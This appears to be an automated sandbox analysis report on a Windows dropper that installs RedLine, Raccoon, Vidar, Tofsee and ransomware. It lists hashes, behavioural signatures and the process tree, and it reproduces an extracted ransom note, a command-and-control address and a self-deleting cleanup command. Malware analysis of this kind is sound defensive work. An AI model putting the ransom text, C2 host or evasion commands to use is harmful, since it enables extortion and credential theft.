Overview

overview

10

Static

static

E39198B238...3C.exe

windows7_x64

10

E39198B238...3C.exe

windows10_x64

10

Resubmissions

03-07-2021 10:53

210703-b9j6hbvdpj 10

03-07-2021 10:53

210703-j6y111tfhx 10

03-07-2021 09:46

210703-ggy5npv366 10

Analysis

  • max time kernel
    1801s
  • max time network
    1801s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    03-07-2021 10:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    E39198B2387731ADAF3B28EF7234A83C.exe

  • Size

    4.0MB

  • MD5

    e39198b2387731adaf3b28ef7234a83c

  • SHA1

    ee6a8aa67f0ed2634bc43b09b0f7d5666e03516b

  • SHA256

    fceeb6a2cbe5569d068c73f4d8b89ef6eebd51691f879a2f8d6db8f8300aea97

  • SHA512

    a3eb7728c8f63f772af553a1730e1585bae28487afa4e8e2e84f7e70f0ac1bb778dd2642a8c15b95138b196db8ec3d4f433cbed70a502649d0a4519d5055e7aa

Score
10/10
raccoonredlinetofseevidardomaniaspackv2discoveryevasioninfostealerpersistenceransomwarespywarestealertrojanupx

Malware Config

Extracted

Path

C:\_readme.txt

Ransom Note
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-ggGVjyTdgD Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0311ewgfDdU7G9lD7dF6jB6enq2GwTgCnebr4rB8NXS3mK2dY6
URLs

https://we.tl/t-ggGVjyTdgD

Extracted

Family

redline

Botnet

DomAni

C2

varinnitof.xyz:80

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • ASPack v2.12-2.42 9 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Drops file in Drivers directory 4 IoCs
  • Executes dropped EXE 64 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 10 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 60 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 18 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 7 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 26 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 7 IoCs
  • Checks SCSI registry key(s) 3 TTPs 27 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 14 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 4 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 6 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Script User-Agent 8 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 39 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 13 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2656
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2436
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        PID:2428
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Checks processor information in registry
          • Modifies registry class
          PID:5956
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:208
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2320
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2272
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
          1⤵
            PID:1864
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1456
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1396
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1288
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1148
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1064
                    • C:\Users\Admin\AppData\Roaming\gvjsihb
                      C:\Users\Admin\AppData\Roaming\gvjsihb
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:4540
                      • C:\Users\Admin\AppData\Roaming\gvjsihb
                        C:\Users\Admin\AppData\Roaming\gvjsihb
                        3⤵
                        • Loads dropped DLL
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: MapViewOfSection
                        PID:5464
                    • C:\Users\Admin\AppData\Roaming\vvjsihb
                      C:\Users\Admin\AppData\Roaming\vvjsihb
                      2⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:4336
                    • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                      C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                      2⤵
                      • Suspicious use of SetThreadContext
                      PID:6964
                      • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                        C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                        3⤵
                        • Modifies extensions of user files
                        PID:6088
                    • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                      C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                      2⤵
                      • Suspicious use of SetThreadContext
                      PID:6848
                      • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                        C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                        3⤵
                          PID:1780
                      • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                        C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                        2⤵
                        • Suspicious use of SetThreadContext
                        PID:5416
                        • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                          C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                          3⤵
                            PID:5112
                        • C:\Users\Admin\AppData\Roaming\gvjsihb
                          C:\Users\Admin\AppData\Roaming\gvjsihb
                          2⤵
                          • Suspicious use of SetThreadContext
                          PID:5460
                          • C:\Users\Admin\AppData\Roaming\gvjsihb
                            C:\Users\Admin\AppData\Roaming\gvjsihb
                            3⤵
                            • Loads dropped DLL
                            • Checks SCSI registry key(s)
                            • Suspicious behavior: MapViewOfSection
                            PID:4744
                        • C:\Users\Admin\AppData\Roaming\vvjsihb
                          C:\Users\Admin\AppData\Roaming\vvjsihb
                          2⤵
                          • Loads dropped DLL
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:5168
                        • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                          C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                          2⤵
                          • Suspicious use of SetThreadContext
                          PID:6548
                          • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                            C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                            3⤵
                              PID:6000
                          • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                            C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                            2⤵
                            • Suspicious use of SetThreadContext
                            PID:4672
                            • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                              C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                              3⤵
                                PID:5824
                            • C:\Users\Admin\AppData\Roaming\gvjsihb
                              C:\Users\Admin\AppData\Roaming\gvjsihb
                              2⤵
                              • Suspicious use of SetThreadContext
                              PID:6420
                              • C:\Users\Admin\AppData\Roaming\gvjsihb
                                C:\Users\Admin\AppData\Roaming\gvjsihb
                                3⤵
                                • Loads dropped DLL
                                • Checks SCSI registry key(s)
                                • Suspicious behavior: MapViewOfSection
                                PID:6536
                            • C:\Users\Admin\AppData\Roaming\vvjsihb
                              C:\Users\Admin\AppData\Roaming\vvjsihb
                              2⤵
                              • Loads dropped DLL
                              • Checks SCSI registry key(s)
                              • Suspicious behavior: MapViewOfSection
                              PID:6296
                            • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                              C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                              2⤵
                              • Suspicious use of SetThreadContext
                              PID:5348
                              • C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe
                                C:\Users\Admin\AppData\Local\b455911a-dc82-49ed-9fb7-fdade20773d1\DCF1.exe --Task
                                3⤵
                                  PID:4808
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                              1⤵
                                PID:352
                              • C:\Users\Admin\AppData\Local\Temp\E39198B2387731ADAF3B28EF7234A83C.exe
                                "C:\Users\Admin\AppData\Local\Temp\E39198B2387731ADAF3B28EF7234A83C.exe"
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:644
                                • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:3280
                                  • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\setup_install.exe
                                    "C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\setup_install.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Suspicious use of WriteProcessMemory
                                    PID:2676
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c sotema_1.exe
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:732
                                      • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_1.exe
                                        sotema_1.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Checks computer location settings
                                        • Suspicious use of WriteProcessMemory
                                        PID:860
                                        • C:\Windows\SysWOW64\rUNdlL32.eXe
                                          "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",getmft
                                          6⤵
                                          • Loads dropped DLL
                                          • Modifies registry class
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3192
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c sotema_2.exe
                                      4⤵
                                      • Suspicious use of SetWindowsHookEx
                                      PID:3252
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c sotema_3.exe
                                      4⤵
                                      • Suspicious use of SetWindowsHookEx
                                      PID:1284
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c sotema_4.exe
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:2220
                                      • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_4.exe
                                        sotema_4.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of WriteProcessMemory
                                        PID:656
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          6⤵
                                          • Executes dropped EXE
                                          PID:1992
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          6⤵
                                          • Executes dropped EXE
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4424
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          6⤵
                                            PID:4668
                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                            6⤵
                                              PID:5248
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c sotema_5.exe
                                          4⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:2152
                                          • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_5.exe
                                            sotema_5.exe
                                            5⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of WriteProcessMemory
                                            PID:2704
                                            • C:\Users\Admin\AppData\Roaming\5124721.exe
                                              "C:\Users\Admin\AppData\Roaming\5124721.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:208
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 208 -s 1912
                                                7⤵
                                                • Program crash
                                                PID:5552
                                            • C:\Users\Admin\AppData\Roaming\5543431.exe
                                              "C:\Users\Admin\AppData\Roaming\5543431.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Adds Run key to start application
                                              PID:3100
                                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:4776
                                            • C:\Users\Admin\AppData\Roaming\4400663.exe
                                              "C:\Users\Admin\AppData\Roaming\4400663.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3080
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3080 -s 1780
                                                7⤵
                                                • Program crash
                                                PID:2496
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c sotema_6.exe
                                          4⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:2072
                                          • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_6.exe
                                            sotema_6.exe
                                            5⤵
                                            • Executes dropped EXE
                                            • Checks computer location settings
                                            PID:3624
                                            • C:\Users\Admin\Documents\H5zhLSmbGqERg8G0BC8wRQ0A.exe
                                              "C:\Users\Admin\Documents\H5zhLSmbGqERg8G0BC8wRQ0A.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              PID:2664
                                              • C:\Users\Admin\Documents\H5zhLSmbGqERg8G0BC8wRQ0A.exe
                                                C:\Users\Admin\Documents\H5zhLSmbGqERg8G0BC8wRQ0A.exe
                                                7⤵
                                                • Executes dropped EXE
                                                PID:4288
                                            • C:\Users\Admin\Documents\9GBO5qEhISsWFYWjEhyc_eJf.exe
                                              "C:\Users\Admin\Documents\9GBO5qEhISsWFYWjEhyc_eJf.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:4336
                                              • C:\Users\Admin\Documents\9GBO5qEhISsWFYWjEhyc_eJf.exe
                                                C:\Users\Admin\Documents\9GBO5qEhISsWFYWjEhyc_eJf.exe
                                                7⤵
                                                • Executes dropped EXE
                                                PID:4208
                                              • C:\Users\Admin\Documents\9GBO5qEhISsWFYWjEhyc_eJf.exe
                                                C:\Users\Admin\Documents\9GBO5qEhISsWFYWjEhyc_eJf.exe
                                                7⤵
                                                • Executes dropped EXE
                                                PID:5216
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 24
                                                  8⤵
                                                  • Program crash
                                                  PID:5864
                                            • C:\Users\Admin\Documents\PQH1H3CMGnHIKapCrZp4WCjc.exe
                                              "C:\Users\Admin\Documents\PQH1H3CMGnHIKapCrZp4WCjc.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:4672
                                              • C:\Users\Admin\Documents\PQH1H3CMGnHIKapCrZp4WCjc.exe
                                                C:\Users\Admin\Documents\PQH1H3CMGnHIKapCrZp4WCjc.exe
                                                7⤵
                                                • Executes dropped EXE
                                                PID:4652
                                            • C:\Users\Admin\Documents\lftURu24EkFHjozX9SZt0_cp.exe
                                              "C:\Users\Admin\Documents\lftURu24EkFHjozX9SZt0_cp.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:4312
                                              • C:\Users\Admin\Documents\lftURu24EkFHjozX9SZt0_cp.exe
                                                "{path}"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:5872
                                            • C:\Users\Admin\Documents\8HbT1dXZ4elahkVG1RHUqBPe.exe
                                              "C:\Users\Admin\Documents\8HbT1dXZ4elahkVG1RHUqBPe.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Drops file in Program Files directory
                                              PID:4248
                                              • C:\Program Files (x86)\Company\NewProduct\file4.exe
                                                "C:\Program Files (x86)\Company\NewProduct\file4.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:4820
                                              • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                                "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:1932
                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                  8⤵
                                                    PID:5660
                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                    8⤵
                                                    • Executes dropped EXE
                                                    PID:1432
                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                    8⤵
                                                      PID:5420
                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                      8⤵
                                                        PID:6528
                                                    • C:\Program Files (x86)\Company\NewProduct\jingzhang.exe
                                                      "C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Checks computer location settings
                                                      PID:3268
                                                      • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl
                                                        8⤵
                                                        • Loads dropped DLL
                                                        • Modifies registry class
                                                        PID:5400
                                                    • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                      "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Checks whether UAC is enabled
                                                      • Drops file in Program Files directory
                                                      PID:3580
                                                  • C:\Users\Admin\Documents\vnruwaGHG3u9niNai65FqJ5i.exe
                                                    "C:\Users\Admin\Documents\vnruwaGHG3u9niNai65FqJ5i.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:1580
                                                    • C:\Users\Admin\Documents\app.exe
                                                      "app.exe" (null)
                                                      7⤵
                                                      • Executes dropped EXE
                                                      PID:5308
                                                      • C:\Users\Admin\Documents\app.exe
                                                        "C:\Users\Admin\Documents\app.exe" (null)
                                                        8⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:1596
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 1596 -s 1236
                                                          9⤵
                                                          • Program crash
                                                          PID:2728
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 832
                                                        8⤵
                                                        • Program crash
                                                        PID:5048
                                                  • C:\Users\Admin\Documents\Pj5bvKsHxjriqKPAiL_gAYPK.exe
                                                    "C:\Users\Admin\Documents\Pj5bvKsHxjriqKPAiL_gAYPK.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Checks processor information in registry
                                                    PID:3968
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im Pj5bvKsHxjriqKPAiL_gAYPK.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Pj5bvKsHxjriqKPAiL_gAYPK.exe" & del C:\ProgramData\*.dll & exit
                                                      7⤵
                                                        PID:5808
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /im Pj5bvKsHxjriqKPAiL_gAYPK.exe /f
                                                          8⤵
                                                          • Kills process with taskkill
                                                          PID:588
                                                        • C:\Windows\SysWOW64\timeout.exe
                                                          timeout /t 6
                                                          8⤵
                                                          • Suspicious use of SetThreadContext
                                                          • Delays execution with timeout.exe
                                                          PID:2664
                                                    • C:\Users\Admin\Documents\ZIJpUL3ouY7B4KSdi3cKE6Uz.exe
                                                      "C:\Users\Admin\Documents\ZIJpUL3ouY7B4KSdi3cKE6Uz.exe"
                                                      6⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      PID:2372
                                                      • C:\Users\Admin\Documents\ZIJpUL3ouY7B4KSdi3cKE6Uz.exe
                                                        "C:\Users\Admin\Documents\ZIJpUL3ouY7B4KSdi3cKE6Uz.exe"
                                                        7⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Checks SCSI registry key(s)
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious behavior: MapViewOfSection
                                                        PID:1468
                                                    • C:\Users\Admin\Documents\VnQs8IOvi0Ag3wM8qyWAPkSH.exe
                                                      "C:\Users\Admin\Documents\VnQs8IOvi0Ag3wM8qyWAPkSH.exe"
                                                      6⤵
                                                      • Executes dropped EXE
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4324
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --hold https://ezsearch.ru
                                                        7⤵
                                                        • Loads dropped DLL
                                                        • Enumerates system info in registry
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of FindShellTrayWindow
                                                        PID:4100
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffdd1b84f50,0x7ffdd1b84f60,0x7ffdd1b84f70
                                                          8⤵
                                                            PID:4936
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1688 /prefetch:8
                                                            8⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:1236
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1620 /prefetch:2
                                                            8⤵
                                                              PID:4752
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2176 /prefetch:8
                                                              8⤵
                                                                PID:3240
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
